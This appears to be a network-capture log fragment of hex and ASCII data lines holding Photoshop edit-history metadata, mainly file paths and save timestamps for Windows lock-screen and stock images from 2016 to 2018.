37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 Data Ascii: 80_Landscape450306F56B2B007EEA65CC4A6DE7CB83.psb saved 2016-07-26T10:50:26-07:00 File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-78719724_1920x1080.jpg saved 2016-07-26T10:52:14-07:00 File C:\Users\v-lizagh\MS\Wi
2022-07-20 17:08:49 UTC	2682	IN	Data Raw: 65 65 6e 73 5c 5f 4c 41 54 45 53 54 74 72 61 6e 73 66 65 72 2d 4e 65 77 43 6f 6d 70 75 74 65 72 5c 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 31 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 38 3a 32 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 37 54 31 32 3a 30 32 3a 32 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 Data Ascii: eens\_LATESTtransfer-NewComputer\Templates\Lockscreen_1920x1080_Landscape1.psd saved 2016-07-26T18:23-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2016-07-27T12:02:23-07:00 File Lockscreen_1920x1080_La
2022-07-20 17:08:49 UTC	2698	IN	Data Raw: 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 34 30 33 37 38 32 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 31 38 54 31 30 3a 31 37 3a 32 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 53 52 65 77 61 72 64 73 5f 41 63 71 75 69 73 69 74 69 6f 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 35 30 37 31 35 33 39 35 5f 31 39 32 30 78 31 30 38 30 35 42 45 37 32 39 44 38 42 39 42 31 36 34 34 36 44 44 34 32 46 45 31 31 41 41 46 37 39 44 45 46 2e 70 73 62 20 73 61 76 65 64 Data Ascii: GettyImages-504037822_1920x1080.jpg saved 2016-09-18T10:17:29-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_MSRewards_Acquisition_GettyImages-450715395_1920x10805BE729D8B9B16446DD42FE11AAF79DEF.psb saved
2022-07-20 17:08:49 UTC	2714	IN	Data Raw: 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 30 38 3a 33 37 3a 33 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 30 38 3a 34 34 3a 34 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 30 38 3a 34 36 3a 35 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 Data Ascii: x1080.jpg saved 2016-11-16T08:37:38-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2016-11-16T08:44:47-08:00 File Lockscreen_1920x1080_Landscape.psd opened 2016-11-16T08:46:52-08:00 File C:\Users
2022-07-20 17:08:49 UTC	2721	IN	Data Raw: 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 34 31 33 33 30 31 34 37 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 32 35 3a 33 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 Data Ascii: 00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-Skype\Crops\Office_Skype_shutterstock_413301478_1920x1080.jpg saved 2016-11-23T15:25:36-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-Skype\Crops\Offi
2022-07-20 17:08:49 UTC	2737	IN	Data Raw: 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4d 53 2d 52 65 77 61 72 64 73 5c 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 47 65 6e 65 72 61 6c 5c 4d 6f 76 69 65 73 5c 43 48 4f 53 45 4e 5c 45 64 67 65 2d 4d 53 52 65 77 61 72 64 73 2d 4d 6f 76 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 35 32 35 30 34 31 35 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 30 54 31 34 3a 31 32 3a 34 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 Data Ascii: File C:\Users\v-lizagh\MS\Windows10\Edge\MS-Rewards\Entertainment-General\Movies\CHOSEN\Edge-MSRewards-Movies_GettyImages-152504152_1920x1080.jpg saved 2017-01-30T14:12:49-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC
2022-07-20 17:08:49 UTC	2753	IN	Data Raw: 45 4e 5c 4d 53 2d 52 65 77 61 72 64 73 5f 53 74 61 72 62 75 63 6b 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 32 35 39 33 38 34 30 34 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 38 54 31 31 3a 33 38 3a 32 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 53 74 61 72 62 75 63 6b 73 5c 43 48 4f 53 45 4e 5c 4d 53 2d 52 65 77 61 72 64 73 5f 53 74 61 72 62 75 63 6b 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 32 35 39 33 38 34 30 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 38 54 31 31 3a 33 39 3a 32 30 2d 30 38 3a 30 30 Data Ascii: EN\MS-Rewards_Starbucks_GettyImages-125938404_1920x1080.psd saved 2017-02-28T11:38:28-08:00 File C:\Users\v-lizagh\MS\Windows10\MSrewards\Starbucks\CHOSEN\MS-Rewards_Starbucks_GettyImages-125938404_1920x1080.jpg saved 2017-02-28T11:39:20-08:00
2022-07-20 17:08:49 UTC	2761	IN	Data Raw: 54 31 38 3a 34 36 3a 34 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 32 32 54 31 38 3a 35 35 3a 35 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 Data Ascii: T18:46:45-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-03-22T18:55:57-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscre
2022-07-20 17:08:49 UTC	2777	IN	Data Raw: 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 39 54 31 30 3a 33 31 3a 30 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 39 54 31 30 3a 33 31 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 30 54 30 39 3a 35 35 3a 33 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 Data Ascii: 20x1080_Landscape.psd saved 2017-04-19T10:31:06-07:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-04-19T10:31:59-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-04-20T09:55:32-07:00 F
2022-07-20 17:08:49 UTC	2793	IN	Data Raw: 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 30 39 3a 32 37 3a 30 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 54 61 73 6b 62 61 72 53 65 61 72 63 68 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 43 6f 72 74 61 6e 61 2d 54 61 73 6b 62 61 72 53 65 61 72 63 68 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 31 36 39 32 31 33 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 30 39 3a 33 33 3a 31 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 Data Ascii: #xA;2017-05-12T09:27:05-07:00 File C:\Users\v-lizagh\MS\Windows10\Cortana\TaskbarSearch\Chosen\Crops\Cortana-TaskbarSearch_GettyImages-641692134_1920x1080.jpg saved 2017-05-12T09:33:18-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe P
2022-07-20 17:08:49 UTC	2801	IN	Data Raw: 57 69 6e 64 6f 77 73 31 30 2d 4c 6f 63 6b 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 35 5f 53 41 2d 41 46 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 35 5f 41 46 5f 4d 6f 75 6e 74 61 69 6e 53 6f 75 74 68 41 66 72 69 63 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 35 33 35 32 30 32 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 32 35 54 32 32 3a 32 30 3a 32 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 Data Ascii: Windows10-Lock\Lock2017_Batch5_SA-AF\Crops\Lock2017-B5_AF_MountainSouthAfrica_GettyImages-465352029_1920x1080.jpg saved 2017-05-25T22:20:22-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x108
2022-07-20 17:08:49 UTC	2817	IN	Data Raw: 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 33 54 31 36 3a 35 34 3a 35 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 33 54 31 36 3a 35 34 3a 35 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 33 54 31 38 3a 32 33 3a 31 34 2d 30 Data Ascii: b saved 2017-07-13T16:54:56-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-07-13T16:54:58-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-07-13T18:23:14-0
2022-07-20 17:08:49 UTC	2833	IN	Data Raw: 32 30 31 37 2d 30 38 2d 30 33 54 31 36 3a 30 34 3a 34 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 31 36 3a 30 39 3a 32 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4f 33 36 35 2d 4f 6e 62 6f 61 72 64 69 6e 67 2d 4f 6e 65 44 72 69 76 65 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 31 31 37 30 34 37 35 33 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 Data Ascii: 2017-08-03T16:04:43-07:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-08-03T16:09:28-07:00 File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_FY17\Chosen\Crops\O365-Onboarding-OneDrive_shutterstock_117047536_1920x1080.jpg saved 2
2022-07-20 17:08:49 UTC	2841	IN	Data Raw: 54 31 33 3a 30 32 3a 32 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 51 75 6f 74 65 44 61 79 48 69 73 74 6f 72 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 36 30 31 33 31 32 39 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 35 3a 33 35 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 51 75 6f 74 65 44 61 79 48 69 73 74 6f 72 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 36 30 31 33 31 32 39 5f 31 39 32 30 78 31 30 38 30 37 32 34 35 42 31 45 45 Data Ascii: T13:02:22-07:00 File QuoteDayHistory_GettyImages-466013129_1920x1080.psd opened 2017-08-29T15:35:59-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_QuoteDayHistory_GettyImages-466013129_1920x10807245B1EE
2022-07-20 17:08:49 UTC	2857	IN	Data Raw: 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 45 64 67 65 2d 45 6c 53 61 6c 76 61 64 6f 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 39 32 34 30 36 36 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 31 32 54 32 30 3a 34 31 3a 31 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 45 64 67 65 2d 45 6c 53 61 6c 76 61 64 6f 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 34 37 32 35 34 38 38 32 5f 31 39 32 30 78 31 30 38 30 44 42 38 35 36 31 41 41 46 39 42 37 41 31 39 46 46 38 46 30 Data Ascii: \CHOSEN\Crops\Edge-ElSalvador_GettyImages-469240666_1920x1080.jpg saved 2017-10-12T20:41:12-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Edge-ElSalvador_GettyImages-147254882_1920x1080DB8561AAF9B7A19FF8F0
2022-07-20 17:08:49 UTC	2873	IN	Data Raw: 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 45 64 67 65 2d 4a 68 61 72 6b 68 61 6e 64 5f 41 6c 61 6d 79 2d 44 58 44 30 46 47 5f 31 39 32 30 78 31 30 38 30 42 35 36 42 45 30 46 35 44 32 44 44 39 46 39 38 31 34 34 37 34 33 38 37 38 31 38 43 31 32 44 42 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 36 54 31 35 3a 30 30 3a 33 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 Data Ascii: \v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Edge-Jharkhand_Alamy-DXD0FG_1920x1080B56BE0F5D2DD9F9814474387818C12DB.psb saved 2017-11-16T15:00:39-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd s
2022-07-20 17:08:49 UTC	2881	IN	Data Raw: 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 39 5c 43 48 4f 53 45 4e 5c 52 65 70 6c 61 63 65 6d 65 6e 74 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 39 5f 42 72 6f 77 6e 73 49 73 6c 61 6e 64 41 75 6b 6c 61 6e 64 4e 5a 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 39 35 30 31 37 33 35 31 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 34 54 31 33 3a 32 33 3a 35 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f Data Ascii: h\MS\Windows10\BingEdgeGrowthImages\Lock2017_Batch9\CHOSEN\Replacements\Lock2017-B9_BrownsIslandAuklandNZ_GettyImages-495017351_1920x1080.jpg saved 2017-12-04T13:23:57-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\Auto
2022-07-20 17:08:49 UTC	2897	IN	Data Raw: 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 57 69 6e 64 6f 77 73 4d 4d 58 2d 52 64 32 5f 35 30 30 70 78 2d 31 38 32 32 36 35 37 33 5f 31 39 32 30 78 31 30 38 30 39 41 30 37 38 39 36 38 37 38 36 44 46 36 45 35 45 35 31 33 42 36 41 30 32 39 43 39 30 36 32 36 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 30 34 54 32 31 3a 35 38 3a 33 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 4d 4d 58 5c 52 4f 55 4e Data Ascii: File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_WindowsMMX-Rd2_500px-18226573_1920x10809A078968786DF6E5E513B6A029C90626.psb saved 2018-01-04T21:58:36-08:00 File C:\Users\v-lizagh\MS\Windows10\Windows\MMX\ROUN
2022-07-20 17:08:49 UTC	2913	IN	Data Raw: 54 30 39 3a 35 30 3a 31 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 56 61 6c 65 6e 74 69 6e 65 73 44 61 79 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 2d 56 61 6c 65 6e 74 69 6e 65 73 44 61 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 31 31 34 36 32 33 32 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 30 32 54 30 39 3a 35 32 3a 31 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 Data Ascii: T09:50:14-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\ValentinesDay\Crops\Office-ValentinesDay_GettyImages-611462322_1920x1080.jpg saved 2018-02-02T09:52:11-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRe
2022-07-20 17:08:49 UTC	2920	IN	Data Raw: 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 36 54 30 38 3a 33 36 3a 33 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 41 77 61 72 64 53 65 61 73 6f 6e 2d 4d 6f 76 69 65 73 2d 55 4b 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 41 77 61 72 64 73 53 65 61 73 6f 6e 2d 4d 6f 76 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 31 34 34 33 34 34 38 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 36 Data Ascii: File Lockscreen_1920x1080_Landscape.psd opened 2018-02-26T08:36:33-08:00 File C:\Users\v-lizagh\MS\Windows10\MIT-International\AwardSeason-Movies-UK\CHOSEN\Crops\MIT-AwardsSeason-Movies_GettyImages-614434482_1920x1080.jpg saved 2018-02-26
